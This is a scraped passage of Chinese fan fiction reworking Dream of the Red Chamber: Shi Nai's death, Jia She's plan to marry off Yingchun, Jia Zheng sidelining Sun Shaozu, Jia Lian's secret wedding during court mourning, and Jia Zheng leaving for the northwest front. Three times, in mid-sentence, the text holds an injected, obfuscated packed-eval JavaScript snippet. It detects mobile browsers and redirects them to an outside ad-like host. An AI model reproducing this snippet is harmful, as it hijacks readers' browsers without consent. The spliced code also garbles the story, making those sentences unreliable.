纵然封严和呼延朗尽力补救,但他们所能做的也是杯水车薪。在勉强控制住局面后,封严便向京城去了邸报,全面报告了这里发生的事情。并派人将钱玄武护送回了京城,由大理寺和兵部共同审问。 贾政收到消息,心中惊骇之余,自然知道这事瞒不过贾母。毕竟是她母家的事,而史鼐又是史家的家主,他的去世自然不是小事。 贾政没有等到史家来报丧,就先趁着贾母高兴,将这事说了出来。 “老太太,史家二老爷保龄侯在西北道薨逝了···”贾政跪在贾母面前,痛声道。 贾母表情有些呆愣,很快就反应过来落了泪,她叹道“去了战场才几天呢?怎么就···” 贾政忙解释道“是被贼人掳去,后来虽然救了回来,但也没撑下去。” 史鼐是贾母的侄子,因是娘家的晚辈,贾母自然很是疼惜,又流泪哭道“可怜史家人丁单薄,大老爷年轻轻就去了,如今二老爷又···”再也说不下去,贾母用帕子掩了面哭了起来。 一旁的王夫人李纨鸳鸯忙着安抚贾母。 过了一会儿,贾母略微冷静下来,又想起湘云,便叹道“只是可怜湘云那孩子,竟这样命苦!”湘云因过继给了叔叔史鼐,因此史鼐去世,湘云要守孝三年。 次日史家来人报丧,贾母又是心情沉重,只能细细叮嘱了湘云,又怜她命苦,抱在怀里安抚了半日,这才让史家人将湘云带了回去。 贾母要亲自去史家吊丧,贾政和王夫人自然要陪同。贾母回到娘家,又少不了安抚晚辈们。幸好此时忠靖侯史鼎在家,有他料理兄长的丧事,史家上下也有了主心骨。 只是圣上迟迟没有追封,只简单说让先办丧事。史家人略微知晓内情,便也不敢大操大办。 贾政又将自己的推测说与了史鼎。 “西北道那边这样惨败,颜面尽失,我想圣上肯定要迁怒相关的官员。如今你们家又出了这样事,这段时间还是谨慎行事比较好。”贾政言辞恳切。 史鼎听罢便叹道“可叹我们兄弟三人如今只剩我一个支撑家业!圣上又是这样做法,真不如弃官不做,举家搬回金陵罢了!” “若有这样想法便早日谋划吧,我想日后咱们这几家子都不会安稳的!”贾政也感叹道。 “提前表明态度,也许圣上容情放咱们一条生路,那也是咱们的造化了···”贾政又补充道。 史鼎沉思了一会儿,轻声道“兄长说的在理!” 和史鼎的一番谈话,让贾政难得松了口气。看来此人是个难得知道激流勇退的人,若他真的弃官不做,也许史家便可保留下来,也不至于落得个抄家的结局。 史家送殡那日,贾政和贾赦都亲自去了的。眼望着白茫茫一片纸钱洒在空中,贾政不由得心里越发难过起来。 湘云正是热孝,也不方便来荣府走动,姐妹们虽想念关心她,也只好委托王夫人代为转达。 王夫人也心疼湘云命苦,便又叮嘱道“你在家里也别忧心,好好听婶娘的话,过些日子我们再派人接你过去。” 湘云虽然生性豁达,但经历这样大事,毕竟也有许多愁苦无处诉说,便轻声道“只希望姐妹们不要忘了我,老太太和太太疼我一场,我也再没什么奢望了···”说罢自己先忍不住落了泪。 王夫人忙将湘云搂到怀里,柔声安慰道“你这孩子怎么也说丧气话了呢!” 安慰一阵,又吩咐锦屏拿了一些散碎的银两给湘云,叮嘱道“你们家事情多,怕他们一时记挂不到你,若有什么急事你便用这些银钱打点下人,让他们来荣府报信,好不好呢?” 湘云被王夫人这样细致体贴的安排感动,再也控制不住,埋在王夫人怀里痛哭了起来。 荣府勉强过了一个新年,众人都有些闷闷的,但还要故作高兴。元宵前夕,贾赦与邢夫人便又来贾母处商议迎春的婚事。 “我想将迎春带回那边去,也方便相看人家。”邢夫人笑道。 贾母勉强露出一点笑容,点了头,又道“还是上次说的那个人家吗?” 邢夫人偷看了一眼贾赦神情,贾赦点点头示意她说。 “看来看去还是觉得先前那个比较般配,大老爷说年后再挑挑,若定下来,便早日成婚。这两年来家里家外不顺心的事情太多,借这个机会也可以冲一冲。”邢夫人陪笑道。 贾母近日总觉得疲乏,听罢也没有觉得什么不妥,就让贾赦和邢夫人退下了。 邢夫人从贾母处离开,便径直去了三春的院里找迎春说话。不巧姐妹们今日都在探春屋里玩笑,见邢夫人来了,忙请了进来。 邢夫人坐下后,探春便为她倒了杯茶。邢夫人很是满意地看了探春一眼,笑道“三姑娘长得真快!出落得越发可人了!”探春微微笑了笑,没有搭话。 孩子们本来在讨论笔谈的事情,此时邢夫人来了,也就不好再说,都随意说了几句客套话。 “二姑娘随我来,有事同你说。”邢夫人略坐了一会儿,便将迎春叫了出来。 迎春本就心里猜测邢夫人是来找她的,心里惴惴不安,如今被点名叫走,更添几分慌乱。 邢夫人走到迎春的屋子,示意迎春也坐下。此时晴雯作为迎春的丫鬟,便在一旁立着侍奉茶水。 “过来坐这边。”邢夫人笑着将迎春拉到自己身边坐下,又抚摸着迎春鬓发,笑道“姑娘如今年纪也到了,是时候考虑终身大事了!” 迎春听罢心里咯噔一下,低头不语。 邢夫人继续笑道“大老爷和我这些日子已经为你相看了不少青年才俊,今日叫你过来就是想接你到那边去,也方便媒人过来相看。”说罢看迎春没有反应,又说道“姑娘便让人收拾了东西,明日就过那边去吧!” 迎春心里满是苦涩,但是碍于礼仪,只好微微点点头。 邢夫人很是满意,又抓起迎春的手,关怀道“姑娘也不要担心,我膝下无子,自然视你为亲生骨肉,你的婚姻大事,我肯定要为你找一个相貌英俊又极有权势的郎君,这样才般配呢!” 她也不管迎春反应,继续说道“既要般配的,又要对咱们家里有益的,我们可是挑了许久呢···” 邢夫人似是终于找到人听她说话了,便喋喋不休地又讲了许多。迎春只是低头听着,她不知道应该对自己的婚事作何反应,只是心里不安,手中的帕子已经被她不自觉揉皱了,那还是宝钗送给她的。 探春见迎春走了许久,便过来找她。 “二姐姐,大太太方才说了些什么事情,怎么这么久呢?”探春坐到了迎春身侧,揽着她的肩膀。 迎春像是没听到探春的问题一样,呆呆地坐着。 晴雯在一旁早憋不住心里的话,忙对探春解释道“大太太说要姑娘回那边去,好相看人家,还说大致定了人,与姑娘很是般配!” “这么着急吗?”探春惊讶道。迎春不过十六岁,就要赶着说婚事也太仓促了。 探春又问“大太太还说什么了吗?” “让姑娘收拾东西,明天就搬过去,说最快三月份就出嫁!”晴雯又补充道。 “二姐姐你···”探春注意到迎春正低声哭泣,便双手搂紧了她安慰道“大太太既然说那人家极好,二姐姐也就放宽心吧···” 探春说了半句却住了口,大约是自己也不相信这话,只好不提这事,姐妹俩靠在一起,迎春默默流着泪。 当晚,探春一直在王夫人处等着贾政回家。本来探春也是个姑娘家,不应该询问迎春的婚事,但出于对姐姐的担心和对邢夫人的不放心,探春也顾不上那些了。 “父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116634|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲!”探春一看到贾政进了院门,就迎了上去,语气激动,全然不似她往日的稳重。 “怎么了,慌成这样?”贾政语气柔和,毫不见怪罪的神情,又双手握住探春双臂,稳住了她。 探春也意识到自己的不妥当,微微笑了笑,又道“女儿一直等着父亲回家,有事想和父亲说。” “别着急,待我换身衣服过来,先去你母亲房里等一会儿。”贾政摸了摸探春脑袋,笑着说道。 贾政很快换好了衣服,走进屋子时,一股暖意让他的身心瞬间放松下来。 王夫人端了杯茶走近他,探春立在火盆旁等着,贾政笑了笑,接过王夫人端来的茶。 “女儿本不该说这个事情,还希望父亲母亲不要因此误会。”探春思考片刻,先说道。 “站着做什么?过来坐着。”贾政笑笑,探春便与王夫人一同坐到了炕桌另一侧。 王夫人拉起探春的手,宽慰道“在我们跟前有什么不能说的?有事大胆说吧!” “听说大老爷和大太太要为二姐姐说亲了···”探春犹豫道。 王夫人略微惊讶,但也回答道“是这样的,年前就说过这事。” 探春看贾政神情自然,自己也放松了些,又道“大太太对二姐姐说明日就收拾东西到那边去住,为的是方便媒人来看···” 贾政点了点头,等探春接下来的话。 “二姐姐那样的性子,我担心她若是嫁给性格跋扈的人,对两边都不好,所以我想···”探春没再说下去。 王夫人听罢忍不住将探春揽到怀里,柔声道“难为你这样为二姐姐着想!” 贾政回道“我已经私下去打听过这事了,你所担心的也正是我和你母亲担心的!”说罢,贾政自己也忍不住叹了口气。 探春便很紧张,追问道“大太太只说相中的那人相貌才情都与二姐姐相配,难道另有隐情吗?” 贾政点了点头,直言道“孙家那人实在不是什么好人!因为这事我和大老爷吵了一架,只是他很坚持,我说不动他,只有想别的办法了!” “父亲所想的···”探春试探道。 “这就不与你细说了,只是无论我想出什么办法,事情的关键却在大老爷那里!”贾政又道。 “实在不行,就劝劝老太太,让老太太提点几句,大老爷总应该要听的。”王夫人也建议道。 贾政对夫人轻轻摇摇头,说道“子女的婚姻大事说到底还是要看父母的态度,如今大老爷一门心思想借着迎春的婚事换一些好处。哪怕没有那个姓孙的,也会有姓张姓李的人来巴结。” “那怎么办呢?我们总不能眼睁睁看着迎春这孩子被···”王夫人没说下去了。 贾政叹了口气,“只能是走一步看一步吧,我这里也正在打听人家,想找几个家庭简单,脾性温和的青年,到时大不了给他们一些钱,只是要说动大老爷却很困难。” 探春窝在王夫人怀里,声音闷闷的,她问道“母亲,姑娘长大了必须要嫁人吗?” 王夫人摩挲着探春脊背,柔声道“都是如此吧!” 探春听了便叹了口气,轻声道“如果我···”只说了个开头,没再说下去。 王夫人自然听懂了探春没说的后半句,只是自己做母亲的却无力承诺什么,只是抱着探春,一下下轻拍着她的肩膀。 “不要这样难过,万事还有我在呢!”贾政突然笑道。 “老爷,你···”王夫人有些惊讶,三个字反而犹豫许久。 探春抬起头看着父亲,眼神中满是期待。 “还记得在扬州时我与你说的话吗?”贾政笑问道。探春眨了眨眼睛,不敢将那话说出来。 “无论你想做什么事情,我和你母亲总是支持你的···”贾政便又说道,随后加了一句“自然包括这件事,只要你自己不想,我们就有办法帮你实现···” 王夫人看到探春露出笑容,自己也笑了笑,又拉起探春的双手,安慰道“就像你父亲说的这样···” 68.逢国丧贾琏偷娶 贾政因无法劝说贾赦,便亲自去找了贾赦看中的准女婿,孙绍祖。 只有亲自见过孙绍祖,贾政才重新认识到了贾赦其人的狠心,完全将亲身女儿当作利益置换的筹码。 孙绍祖已近三十岁,生的却是高大魁梧,但一看就被酒色掏空了身子,外表毫无一点武将该有的威武仪态。再与他说几句话,便能发现他内里更是个草包。 “世兄今日特来见我,定是有好事了!”孙绍祖嘻嘻笑着。贾政挥挥手,示意他坐下详谈。 “我听说你一直在兵部侯缺?”贾政笑问道。 “已有一年多了,本来投靠了你大哥,还给了他好几千银子让他帮我办事,谁知道一直没有音信!”孙绍祖直言道。 “世兄若有办法帮我,我自然少不了孝敬的银子!”孙绍祖又谄媚道。 “这都是小事,何故说的这样客气!”贾政豪爽笑道。 “那么我就指望世兄了!”孙绍祖大为高兴,又起身为贾政倒了杯酒。 “只是不知道世兄想从我这里要点什么回礼呢?”孙绍祖坐下后,又问道。在他的观念中,自然是拿钱才能办事,何况贾政今日是巴巴来请他的呢? 贾政有些不好意思地笑了笑,说道“听大哥说有意与孙家结为亲家?” “倒是这样说过,只是我偏爱那种温婉可人的女子,世兄的侄女听说性子也太弱了一点···”孙绍祖笑着摇摇头,又道“不过世兄若是想与我结这门亲事,我自然要答应的!”说罢,又是一阵大笑。 贾政却摇了摇头,说道“我那侄女自小体弱,请了许多名医都不管用,后来有一和尚说她命里福薄,应当亲身去庙里修行才能保全性命。只是我大哥不愿意这样做,便买了几个替身替侄女祈福,如今虽然没有性命之忧,但总是生病,所以我想这婚事最好先推迟几年,不然···”贾政没有说下去,留给孙绍祖自己补全。 “想不到她亲身父兄是那么个样子,叔叔却又是这样!实在好笑!”孙绍祖又道。 “这其中还有贾琏的事情?”贾政追问道。 孙绍祖也不避讳,便道“贾琏不是与媳妇和离了吗?如今他又想娶一个,只是银钱不趁手,便想从我这个妹婿手里借一些,只是亲事还没有定下来,我哪有那么蠢呢?只为了情面借了他一千银子罢了!” “孙家富贵至此,倒是你管家有方了!”贾政故意恭维道。 孙绍祖忽然嗤笑一声“钱自然是有的,只是没有权势,便只好各处求人,捞个一官半职的。” 贾政宽慰道“不出半个月,定为你找个极好的差事!” 孙绍祖拱拱手,笑道“多谢世兄!” “只是日后我大哥若再提起婚事···”贾政又道。 孙绍祖表现出豪迈的样子,说道“自然推脱过去就是了,哪怕他先前白拿了我的钱,我都不再提起了,只要有官做,还在乎哪一点小钱吗?” “世兄以为如何?”孙绍祖又笑看贾政。 “自然是对的。”贾政附和道。 贾政与孙绍祖见面后才五天,就为他谋到了一份差事,兵部武选司的员外郎。这可让孙绍祖大为震惊,他万万想不到竟然是这么好的差事。便又郑重宴请了贾政以示感谢。 只是他还来不及高兴太久,又过了半个月,皇帝便派了兵部两个员外郎去西北道协助封严和呼延朗,其中一位就是孙绍祖。 贾政为此还特意前来宽慰孙绍祖,以此表明自己完全不知情。又遗憾道“早知如此,我当时就不应该为世兄筹划这个职位!”贾政一副我本来是为你好,没想到好心做错事的态度,反而让孙绍祖深信不疑。 “世兄何必来宽慰我?不过是上战场罢了,我定浴血杀敌,回来就成了大将军了也说不定呢?”孙绍祖又笑道。 他虽是个酒色之徒,但也知道风险与收益成正比,上战场虽免不了危险,但也有一步登天的机会。当时荣国公与宁国公就是这样建立功勋的。 贾政便顺着孙绍祖的话,又说道“那我就在京城静候你的好消息!” 孙绍祖要上战场了,贾赦自然不会在这之前与他结亲,万一孙绍祖死在西北,岂不是白白损失自己女儿的好名声,以后便不好议亲了。 又因孙绍祖一直没有再提银钱的事,贾赦略略放了心,反而没那么着急让迎春出嫁了。只计划再找个富贵但地位不高的人家,好从中获取更多利益。 贾琏对迎春婚事的关注,在于自己可以从中获得什么。如今贾赦又让贾琏再去找一些有钱人家,贾琏便很用心地接下了这事。而他也趁机寻找着自己的下一个妻子。 贾琏心中所想也是有家资可以拿出丰厚嫁妆的姑娘,而被他精挑细选后,真有那么一个人入了他的眼。 是苏州一户姓张的落魄官宦家的姑娘,祖上也是做到过郎中令的,如今虽然她父亲只是个县令,但这姑娘的兄长着实擅长做生意,年纪轻轻竟赚下了数万家产。此时这位姑娘正和兄长在京城生活。 既要门第配得上,又要豪富,贾琏也是费了一番苦心的。如今既有这样的好事便亲自去和贾赦说了。贾赦听后也很满意,就找了媒人拿着名帖去张家说亲。那张小姐名唤雪月,其兄长名唤济世。 张济世看过名帖后很是惊讶,哪能想到荣国公府竟然要与他们结亲,这可是天大的好事。贾赦派来的媒人也端着架子,很是骄矜,说明了来意。其言语态度表现得很是随意,反而让张家人更是恭敬。 他们正因为生意上的事情发愁,如今有这等好事,无论如何也要抓住的。张济世一口便应了下来,又给媒人许多好处,让她务必帮忙,一定促成这桩婚事。 贾赦与贾琏看事情如此顺利,倒是没有多想,便与贾母说了这个好消息。 “所谓娶妻娶贤,琏儿爱玩,正应当找个端庄姑娘好好管管他!”贾母也没有不满意张姑娘的家世,况且既然贾赦夫妻都说那姑娘人品极好,极端庄稳重,便也笑着应了。 这一年多来,荣府竟生了这么多事,饶是贾母这样见惯大风大浪的,也有些不自在。她迫切需要一件喜事将荣府的气氛彻底转变。娶亲自然是效果最明显的喜事,其次便是添丁。 有新媳妇进门,意味着一年后可能降生的重孙子孙女。这样的大族人家,很是看重子嗣。先前王熙凤一直没有生育,贾母也有过一些不满。只是现在王熙凤已离开荣府,贾母常能想起的便是她的好处。 二月里,荣府刚刚为黛玉过了生日,宫里就传出有一位老太妃身体抱恙。谁知刚到三月,这老太妃便薨逝了。 当时以孝治天下,圣上便敕谕天下,要求凡有爵位的家庭,一年内不可以筵席音乐,凡有诰命在身的,也需要入朝随班按爵守制,如此二十一日,后去送灵,又要耗费一月光景。 荣宁二府婆媳每日便都入朝随祭,府里事务也需打理,忙得不可开交。因家中无主,大家商议后便报了尤氏产育,由她照看两府的事务,幸而薛姨妈与探春宝钗等姐妹也帮的上忙,荣府这边还算很有条理,没出乱子。 这可让贾琏实在发愁,本来定好的娶亲日子就在三月,哪能想到又要耽搁一年了!他如今也有二十五岁了,看别人家都是娇妻幼子,自己心里也难免羡慕。 虽然有妻子在家少不得要管他的风流事,但对后代的期盼压倒了其他的顾虑,他想先将张家姑娘偷偷娶回来再说。 只是自己心里如此急切,张家人肯定不愿意这样草率就将女儿出嫁了。贾琏为此确实苦思了许久,最后只想出个最简单的办法—利诱。 张家不缺钱,贾琏所能提供的就是生意机会。贾琏也算费尽心思,好一番钻营,终于拿到了为宫廷供应中药材这宗差事。 这原本都是由内务府统一管理,只是今年有两种只产于南方的药材实在稀缺,便只好从几家大商户求购。贾琏便钻了这个空子。 这样一步登天的机会贾琏料想张家是求之不得的,若是经营的好,日后成为挂名皇商也不无可能。 正如贾琏所想,无论张济世起初如何反对将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122041|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己妹妹偷偷嫁给贾琏,但看到了这样一个绝无仅有的机会,他只好安慰自己,为了家业必须让妹妹受一点委屈。大不了多给她陪嫁一些嫁妆,已经是做到了兄长的本分。 贾琏为了两家脸面好看,谎称是家中父母年迈多病,为了子嗣考虑,先将张姑娘娶到府外,二人拜过堂有了夫妻之实。待明年时机到了,便正式写了婚契,明媒正娶,在荣府拜堂成亲。又信誓旦旦自己绝不会亏待张姑娘,到时自然少不了名分的。 张济世见贾琏想得周到,自然没有不同意的。 贾琏就在宁荣街后二里远的小花枝巷买定了一所小院,又准备好了新媳妇的妆奁与屋内床帐,还买了四个小丫鬟。一应物事齐备后,便在定好的日子用一乘素轿将张姑娘接了过来。 因贾琏没有告诉父亲贾赦,只有贾珍因帮了忙,贾琏便请他与贾蓉来吃酒。贾琏与张家姑娘张雪月均是一身素服拜了堂,张济世夫妻自然也来了。贾珍少不得与张济世寒暄客套几句,后因贾珍频频看着张济世妻子,张济世心里不太痛快,待了一会儿就离开了。 贾珍看着贾琏志得意满的样子,拍了拍他的肩膀,笑道“你不用陪我们了,快去洞房花烛吧!” 贾琏笑笑,又道“让她先在屋里待着,既然张大哥不愿多待,咱们兄弟先喝个痛快再说!”说罢,就让人将自己珍藏的美酒热好端来,又吩咐提前从花楼请过来的四个美貌歌女来陪席。 “有那么一个如花美眷在屋里等着,二叔竟还在外面找小姑娘吗?”贾蓉怀里坐着一位歌女,又笑着调侃贾琏。 “不过是陪着咱们喝酒助兴罢了,我又不真的做点什么!”贾琏大笑道。 “江南女子的腰肢真软真细啊!”贾珍酒意上头,也搂着一个女子说起浑话来。 “我前几年去了一次扬州,可是念念不忘那里女子的风韵,北方姑娘虽也貌美,但总没有那种韵味!”贾琏晃了晃端着的酒杯,笑嘻嘻看着贾珍和贾蓉这对亲父子,一样的骄奢淫逸。 “服侍珍大爷和小蓉大爷去歇着。”贾琏吩咐丫鬟们,又道“你们几个也要好好服侍!” 那四位歌女自然意会,便随着贾珍和贾蓉一起去了。 此时天已擦黑,初夏的天气温和怡人,贾琏伸出舌尖润了润双唇,回味着方才的酒香。这才起身理了理衣衫,缓步走向了洞房。 他方才耐着性子陪着贾珍贾蓉不过是不想让他们笑话罢了,其实心里早就想与新婚妻子共度良宵。 况且这张姑娘又是个地道的江南水土养育出的娇弱美人,其中滋味,贾琏亲尝之后,便彻底陷了进去。 在贾琏心中,新妻子与王熙凤全然不同,张雪月纤弱窈窕,神情安静眉眼中却颇具风情,那娇滴滴的嗓音轻唤一声“夫君”,贾琏觉得再没有比她更娇媚的人儿。 虽已过了五六日,贾琏对张雪月却仍是越看越喜欢,简直要将自己的心肝捧出来给她。夫妻二人好一番恩爱缠绵,不必细说。 虽没有在荣府过了明路,但张济世仍将为妹妹准备的嫁妆单子拿了过来,待日后正式成亲,再将嫁妆送到荣府。 张家为了讨好贾家,准备的嫁妆实在不少,饶是贾琏看了,也不禁叹一句豪富。虽比不上王熙凤当时的嫁妆,也能有五六分相近了。 贾琏越发体会到这门亲事的好处,不仅得了这样一个可人儿,还有一大笔嫁妆,日后单单花这个钱,他们二人就可富贵一生了。 只是又过了些日子,贾琏便觉得兴致大减。他发现张雪月虽外表风流,但内里与花楼女人相比,却很是矜持腼腆,性格虽温柔小意,但毕竟作为妻子的端庄持重是少不了的。 贾琏便开始三五不时地往外面跑。比起新婚时一刻也分不开的程度,现在这样的落差却让张雪月有些接受不了。 又听到下人们不时传些流言,张雪月心里更是苦涩,不过几日便病倒了。贾琏回家看到娇妻这样病弱,反而更有种别样情趣,也就待在家中两日好生安抚,夫妻二人的关系略有缓和。 69.人生南北多歧路 待忙完老太妃的丧事,宁荣两府终于能松口气时,贾政又被点去督运粮草至西北道。 这不像上次贾雨村私下的建议,而是正式的任命,自然不可拒绝。贾政很快又收到了封严的信件,原来正是封严举荐了贾政。 贾政本以为是被人陷害,所以心中略有不安,但详看了封严的叮嘱后,心中很快安定了下来。与他同行的是李师德,贾政从扬州回来后接替了他郎中令的职务,而李师德升到了兵部做郎中令。 据贾政与他的接触,此人不是个心思深沉,暗藏奸诈的人,与他共事,贾政便不需要太过防备。 事出紧急,二人商议后,只待粮草准备齐全就出发。只是家里一团乱麻,贾政实在也放心不下。自然免不了好一番殷切叮咛,又暗中吩咐手下的人好生留心荣宁二府的事情,若有意外,可以先向林如海通报。 孩子们虽不舍贾政奔赴战场,但也知道无法改变,只能各自送了一些亲手做的小礼物,让贾政随身带着,图个平安吉利。 宝钗却很冷静,她见姐妹们已有些控制不住的悲伤要表现出来,自己反而越发沉稳,便自己私下来到贾政的书房,拿出一张银票递给姨夫,犹豫道“我虽知道这样不合礼法,但姨夫孤身在外难免遇到急事,所以我想···” “难为你想的这样周到!”贾政很是感动宝钗的一片真心,就认真接过她的银票,正色道“众姐妹里面,只有你和探春我是最放心的。府上的事情你多少也知道一些,近来大老爷那里也有不少麻烦事。所以我想麻烦你帮忙协助,还有你姨妈那边,她若精力不济或者心思郁结,你和母亲也可宽慰一二,这样我便再没有不放心的了!” 贾政完全是将宝钗当作于自己平等的成年人在对话,宝钗自然也感受到了,便正色回道“姨夫放心,我本来也想这样的,您对我们家的帮助巨大,这都是我应该做的。” 贾政笑着摸了摸宝钗的头,又道“哪里有什么本分不本分的?你虽比姐妹们更成熟,但长辈们都不想你给自己戴上太重的道德枷锁,你能明白吗?” 宝钗又点了点头,说道“其实这都是我心中真正想做的,无论是帮助凤姐姐,或者是帮助司棋,我并没有觉得这些事情是负担···” “这样就更好了···”贾政笑道,心里也很是赞赏宝钗这样的性格,又道“咱们去你姨妈那边看看她忙什么呢!”,又小声说道“一会儿她若是喋喋不休的,你可要帮我说几句话!” 贾政本来以为王夫人少不了忧虑,但没想到她神情却很平静,只是亲自带着锦屏为贾政打点行李,看起来并没有很担忧。 贾政和宝钗相视一笑,都没说话。此时探春又带了姐妹们过来王夫人处,贾政也收起了满腹的离别愁绪,和孩子们认真玩了起来。 当晚又在花厅里摆了三桌宴席,都是家中至亲,一起用罢饭,便玩起了击鼓传花的游戏,鼓声停时,花落到谁手中,便讲一个笑话,人人都可参与,可谓是雅俗共赏。 贾政自荐击鼓,所有人都很投入。新鲜的杨柳枝从一双双手中经过,又短暂停留,每人都想出了一个极好笑的笑话。 贾政很公平地让每个人都有机会讲笑话,待所有人都轮过一遍后,孩子们又起哄道“老爷耍赖!他自己还没有讲呢!” “既然如此,少不了你也要讲一个了!”贾母也笑道。 “那有何难?我肚子里的笑话没有上千个,也有上万个!”贾政笑道。 “舅舅喝醉了,说话颠三倒四起来了!”黛玉笑道。贾母将黛玉搂在怀里,祖孙二人笑盈盈看着贾政。 贾政轻咳一声,就开口讲了“有一个男人,他非常怕老婆,每日总是早早就回了家,唯恐被老婆责骂···” 贾政刚说了半句,宝玉就扑哧笑出了声。 贾政看一眼宝玉,他和探春两人正半靠着王夫人呢。 贾政笑了笑就继续道“有一日这人因为公事要与同僚去喝酒,直喝得半夜三更才回了家,他很心虚,担心老婆没睡着。” “这人就叫来丫鬟问了问,谁料丫鬟却说太太早就睡了,这男人就放了心,一头栽到了书房也睡觉去了。谁知次日一早这男人刚睁开眼就看到老婆在他旁边坐着,他立刻害了怕,便说道‘昨夜我被鬼抓去喝酒了这才回来晚了!’” “他老婆也没有不信,只说道,‘你昨晚没有回来,我都没洗脚呢!’这男人立刻会意,下了床自己去打了盆热水,就挽起袖子给老婆洗脚,还说道‘昨日拉我去喝酒的小鬼告诉我说今日必有喜事发生’,我现在才知道他说的喜事就是给老婆洗脚啊!” 贾政说罢,众人早就笑的不行,他又细看王夫人神色,她只是低着头,贾政无法看清。 “这个笑话好,也许一会儿就有小鬼拉着父亲去喝酒呢!”宝玉说完,忙躲到了贾母怀里,嘻嘻笑着不敢抬头。 “你成日里那样严肃,怪不得孩子们听你讲笑话就笑成这样!”贾母也指着贾政笑着。其实贾母只是不太知道贾政私下里和孩子们的相处模式罢了。 又玩笑到了四更天,众人才散了。贾政牵着探春,又和孩子们说笑,一路散着步往回走,王夫人在身后跟着。贾政夫妇又亲自将孩子们送到屋里这才回到屋里歇息了。 烛火都灭了,四下寂静,王夫人此时侧身躺着,背对贾政。 “刚才讲的那个笑话如何?”贾政轻声道,他见王夫人没有回答,便以为她睡着了,只好闭上眼睛不再打扰。 “讲得不怎么样···”王夫人的声音忽然悠悠传来。贾政便从背后抱着夫人,轻笑道“我再给你讲一个?” 王夫人却摇摇头,说道“老爷当着那么多人偏讲这样的笑话,直像是故意在说我呢!” 贾政怕夫人误会,忙轻手将她肩膀扳了过来,自己又半撑起身子,细看夫人的神情,解释道:“并没有那样的意思,只是想对夫人说不要为我担心,我无论在哪里,总会记挂家里的···” 他看王夫人闭着眼睛,便轻抚夫人脸颊,柔声道“上战场有死有伤的,老太太虽然嘴上不说,心里不知道多么担心,况且史家二老爷也是在那里遇难的···” 贾政顿了顿,又道“我知道你们都担心我,我能做的只能是尽量让你们开心一点,其他的只能是尽人事听天命罢了···” 说罢,贾政自己心里也不舍起来,就抱着夫人沉默了一会儿。 “元春来了封信,我没有告诉你···”王夫人忽然说道。 “她说什么了?”贾政轻声问,又靠在夫人肩头,双手紧抱着她。 “她说战事复杂,要老爷多多留心。”王夫人说道。 “我也想到了,明日写信回给女儿,也让她多多珍重。”贾政说道。 “先前给老爷的那串佛珠还在吗?”王夫人问道。 贾政点点头,回道“当然在了,我贴身放着呢!” “这串佛珠是我少时在金陵鸡鸣寺求来的,这么多年我一直带着,住持说可以逢凶化吉,遇难呈祥,我也觉得很是灵验,老爷一定贴身带着···”王夫人轻声解释道。 “你总是更相信和尚的话,偏偏我···”贾政刚调笑半句,就看到夫人神情不对,忙解释道“我再不那样说话了好不好?只是看你紧张想要宽慰你,没有半点其他意思!”,又看夫人略有缓和,便补充道“我知道你的心意,自然不会辜负的···” 在贾政以为王夫人已经睡着的时候,忽然听到她低声说话“家里的事你不要操心,在外面只管照顾好自己,早点回来···” “我知道了,睡吧···”贾政轻轻拍着着夫人脊背,低声哼了一首金陵小调。音乐似乎让人更能回想起过往的时光,贾政与王夫人渐渐睡去了。 过了两日,贾政便要出发了,他又留了封信交给探春,并叮嘱道:若是大老爷仍要让迎春出嫁,就打开这封信看了,里面自然有解决办法。 车辚辚,马萧萧,行人弓箭各在腰。队伍从京城出发, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125246|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二十天后,已逼近西北道,预计再有五日就可抵达叶榆城。 原本是初夏时节,只是越往西北走,目之所及荒无人烟。戈壁滩上偶尔可见几簇梭梭草,算是难得的绿色。 进入西北道后,又遇到了西北地区常见的沙尘暴,贾政只好吩咐队伍停下脚步,暂时扎营,不可贸然往前。 “据当地向导所说,此地的沙尘暴都是在傍晚就停了,只是明日如何情况却不好说。”李师德看到贾政已吩咐完伙头军生火做饭,便过来与他说明情况。贾政虽是副手,李师德也很尊重他。 贾政回过神来,说道“为了稳妥,我以为咱们还是待沙尘暴彻底过去了再动身比较好。” 李师德点点头,说道“我也是这么想的。”二人说话间又回到了帐篷里,各自坐下了。 “存周这两年来倒是经历了许多事情···”李师德忽然开口问道。 贾政笑了笑,回道“在扬州那两年的确发生了很多事···” “遇到九死一生的情况时,你也害怕吗?”李师德又问道。 贾政便想起了那次被水匪绑去的经历,却笑了笑,说道“所谓富贵险中求,我若不那样冒险,恐怕也难以办成什么事情。只是害怕总是难免的,那些人都是杀人不眨眼的,若当时有什么闪失,我也不能坐在这里和你闲聊了···” 